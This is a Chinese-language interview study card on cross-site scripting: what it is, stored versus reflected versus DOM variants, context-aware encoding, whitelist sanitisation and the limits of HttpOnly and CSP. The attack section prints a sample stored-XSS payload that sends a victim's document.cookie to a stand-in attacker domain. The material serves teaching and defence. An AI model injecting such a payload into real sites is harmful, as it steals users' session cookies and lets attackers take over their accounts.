攻击技术|计算机基础篇
# 一、跨站脚本攻击
30 秒速记
XSS的本质是让攻击者提供的HTML或JavaScript进入页面,并在其他用户的浏览器中执行。- 典型链路是恶意内容被提交、服务端或页面将其当作标记渲染、受害者访问后触发脚本。
- 脚本可读取当前作用域内能被
document.cookie访问的Cookie,并将其发送到攻击者控制的地址;若登录状态依赖该值,账号可能被冒用。 - 风险不只包括身份凭据泄露,还包括伪造表单收集信息,以及篡改用户看到的文章或图片。
- 普通文本应对
<、>等字符做转义;富文本不能整体转义,应按允许的标签范围过滤危险内容。 - 敏感
Cookie设置HttpOnly可阻止脚本通过document.cookie读取,但它只收窄这一条利用路径,不能替代输入过滤。
XSS 本质上是攻击者提供的 HTML 或 JavaScript 被页面当成代码执行。 恶意内容一旦进入页面,脚本可能读取可由 document.cookie 访问的 Cookie,也可能伪造表单或篡改展示内容。普通文本应正确转义,富文本则要按允许的标签范围过滤。给敏感 Cookie 设置 HttpOnly 只能阻止脚本直接读取它,不能代替输入过滤。
面试官追问
追问 1论坛富文本页允许用户提交 script 和 form,安全负责人要求保留标题、段落等合法标签,你会在全量转义和标签过滤之间怎么选?
现有材料只有“跨站脚本攻击”标题,没有给出富文本处理规则,因此不能据此断言某种过滤实现足够安全。结合当前卡片的角度,可倾向按允许规则保留必要标签,但标签、属性、协议和解析边界仍需由完整安全规范与测试确认。
追问 2登录页已给会话 Cookie 设置 HttpOnly,开发者据此准备关闭所有用户内容过滤,你在评审中会通过吗?
不会通过,但现有详细来源没有说明 HttpOnly 与跨站脚本攻击的具体边界,无法据此给出完整防护结论。当前材料仅提示它与脚本读取 Cookie 有关;仍应保留对不可信内容的处理,并交由明确的安全要求验证其他影响。
追问 3帖子详情页打开后跳转到陌生域名,地址中疑似携带会话值,值班人员只检查服务端跳转日志,你会要求补查什么?
应同时保留帖子原始内容、最终页面结构、浏览器执行现象和相关请求链,以判断是否存在跨站脚本执行。当前卡片给出了“脚本随内容进入页面并读取可访问数据”的角度,但详细来源未提供事故机制,结论必须以现场证据为准。
追问 4内容平台从纯文本评论改为富文本,产品要求支持更多标签,安全团队却要求所有字符都转义,你会怎样推动选型?
应先明确必须渲染的内容范围和不可接受的执行能力,再选择与需求匹配的输出处理方案。详细来源没有列出安全标签、属性或协议规则,因此不能直接批准某份黑名单;开放能力越多,解析差异和遗漏带来的验证成本越高。
# 概念
30 秒速记
XSS的全称是Cross-Site Scripting,核心问题是不可信代码进入了用户正在访问的网页。- 注入内容可以是
HTML,也可以是JavaScript,因此风险不限于显式的脚本标签。 - 攻击成立的关键边界是注入内容被页面按代码或标记解释;若始终只作为普通文本展示,就不会形成原文所述的执行效果。
XSS 是不可信的 HTML 或 JavaScript 进入网页,并被浏览器当成可执行内容处理。 是否形成漏洞,关键不在输入里有没有尖括号,而在数据最终落入了文本、属性、脚本还是 URL 上下文。比如用 textContent 展示搜索词通常只是文本,改成拼接 innerHTML 就可能生成新元素。防护要按落点正确编码;需要保留富文本时,应采用白名单净化,CSP 只能作为补充。
跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。
原理拆解: XSS 是否成立取决于一条完整的数据链:攻击者可控输入进入系统,被保存或直接带入响应,最终落入浏览器能够解释为标记、脚本、样式或可执行 URL 的上下文。浏览器并不关心内容最初来自表单、数据库还是地址参数,只依据最终生成的文档结构和执行上下文处理它。防护也必须匹配落点:写入 HTML 文本、HTML 属性、JavaScript 字符串和 URL 时所需的编码规则并不相同,不能用一次通用替换覆盖所有场景。
具体例子: 搜索页把查询词通过 textContent 写入提示区域时,包含尖括号的输入只会显示为文字;若改用 innerHTML 拼接,同一输入便可能生成新的元素和事件处理属性。评论内容被持久化后展示给其他用户属于存储型风险;参数随响应立即返回属于反射型风险;前端脚本读取 location 数据并写入危险 DOM 接口,则属于基于 DOM 的风险。即使没有显式的 script 标签,可执行事件属性、危险 URL 协议或错误的脚本字符串拼接仍可能形成执行路径。
边界与反例: 仅仅允许用户输入 HTML 字符并不必然构成漏洞;只要数据始终经上下文正确编码并作为纯文本呈现,就不会获得代码语义。反过来,只在入口过滤特定标签并不可靠,因为数据可能在解码、模板渲染或 DOM 重组后进入另一种上下文。富文本确实需要保留部分标记时,应采用成熟的白名单净化策略,并限制允许的元素、属性和 URL 协议。CSP 可以降低部分利用后果,但不能替代输出编码和安全 DOM 接口。
工程验证: 测试时应追踪每个外部输入从来源到落点的完整路径,检查服务端模板、前端渲染和二次解码。使用无害的测试字符串验证尖括号、引号和 URL 是否仍被解释,而不是在生产环境尝试执行载荷;同时审计 innerHTML、outerHTML、document.write 等危险接口。浏览器开发者工具可确认最终 DOM 与原始响应是否不同,自动化测试则应断言输入生成文本节点而非新增元素,并结合 CSP 报告观察被阻止的执行尝试。
面试官追问
追问 1搜索页把用户输入的 <img src=x> 通过 textContent 显示出来,安全同学仍认定“出现尖括号就是 XSS”,你会接受这个结论吗?
不能仅凭输入含有标签字符认定存在 XSS。若数据始终通过 textContent 生成文本节点,浏览器只会展示字符,不会赋予元素或脚本语义;仍需确认后续没有二次解码或改用危险接口。
追问 2代码评审发现评论先入库,再由详情页用 innerHTML 渲染给上万名访客,你会怎样追踪这条风险链?
应从评论提交入口一路追到数据库原值、服务端响应和最终 DOM,确认外部输入是否变成了可解释节点。还要检查模板拼接、前端渲染及二次解码,因为任一环节改变上下文都可能让普通字符串获得代码语义。
追问 3产品把纯文本评论升级为支持链接和加粗的富文本,后端提出沿用统一字符替换函数,你会要求调整什么?
升级后不能再把全部内容当纯文本处理,应使用成熟的白名单净化策略,限制允许的元素、属性和 URL 协议。统一替换无法同时覆盖 HTML 文本、属性和 URL 等上下文,规则过严又会破坏合法格式。
追问 4线上只有部分带引号的昵称触发异常节点,原始响应看似正常,但开发者工具里的最终 DOM 已改变,你会优先查哪里?
应优先检查昵称落入的是 HTML 属性、脚本字符串还是经过前端重组的节点,而不只看原始响应。对比响应与最终 DOM,再排查模板转义、客户端解码和 innerHTML 等接口,定位字符在哪一步重新获得语法含义。
追问 5安全负责人建议上线 CSP 后保留现有 innerHTML 拼接,前端负责人主张改成安全 DOM 接口,你支持哪一方?
应优先改造危险落点,纯文本使用 textContent,其他位置采用与上下文匹配的编码或净化。CSP 可以降低部分利用后果,但不能阻止恶意内容形成节点,也不能替代输出编码和安全 DOM 接口。
# 攻击原理
30 秒速记
- 攻击者先把带有脚本的内容发布到论坛,使其成为其他用户会访问的页面数据。
- 页面渲染时若没有阻止该内容成为真实的
script,浏览器就会把它当作代码执行,而不是显示为文本。 - 示例脚本通过
document.cookie取得当前作用域内可读取的Cookie,再把数据拼到攻击者域名的跳转地址中。 - 受害者仅需打开包含恶意内容的页面,就可能触发跳转与数据外传,无须主动执行脚本。
- 按照题目给定场景,若论坛用泄露的
Cookie维持登录身份,攻击者可能借此进入受害者账号;该结论以对应Cookie可读取且可用于登录为前提。
这是典型的存储型 XSS:恶意内容被保存并作为真实 HTML 渲染后,浏览器会把其中的脚本当作页面代码执行。 比如评论通过 innerHTML 插入页面,脚本就可能读取 document.cookie,再借跳转把可见的 Cookie 发到攻击者域名。用户只要打开该页面就可能中招,无须主动点击或执行代码。不过,HttpOnly 的 Cookie 无法被这样读取;只有泄露值能复用登录时,攻击者才可能冒用账号。
例如有一个论坛网站,攻击者可以在上面发布以下内容:
<script>location.href="//domain.com/?c=" + document.cookie</script>
之后该内容可能会被渲染成以下形式:
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
原理拆解: 这是典型的存储型 XSS 链路。攻击者提交的字符串先被论坛保存,服务端或前端随后把它作为 HTML 插入页面;当浏览器解析到真实的 <script> 元素时,其中的内容便会以论坛页面的源身份执行。示例代码读取 document.cookie,把结果编码进攻击者控制的地址,再通过页面跳转发出请求。攻击者获得的不是数据库中的全部 Cookie,而是当前页面作用域下允许脚本读取的部分。
具体例子: 假设评论接口保存了用户输入,详情页又使用 innerHTML 渲染评论,恶意字符串就可能从普通数据变成可执行节点。受害者只要打开详情页,脚本便可能运行;即使页面最终发生跳转,请求地址仍可能已经到达攻击者服务器。若泄露值恰好是可复用的登录会话标识,攻击者才可能冒用该会话。
边界与反例: 标记为 HttpOnly 的 Cookie 不会出现在 document.cookie 中;受到 Domain、Path 等作用域限制的值也未必可见。若输出经过上下文匹配的转义,使 <script> 仅显示为文本,链路同样无法成立。即便读不到 Cookie,已经执行的恶意脚本仍可能读取页面数据或伪造交互,因此不能据此断言页面安全。
工程验证: 可在隔离测试环境提交包含唯一测试标记的字符串,检查数据库原值、响应正文和最终 DOM,确认它究竟成为文本节点还是脚本节点;同时观察浏览器网络面板是否产生非预期外连。验证时使用虚假会话和受控域名,不应拿真实账号或生产凭据测试。
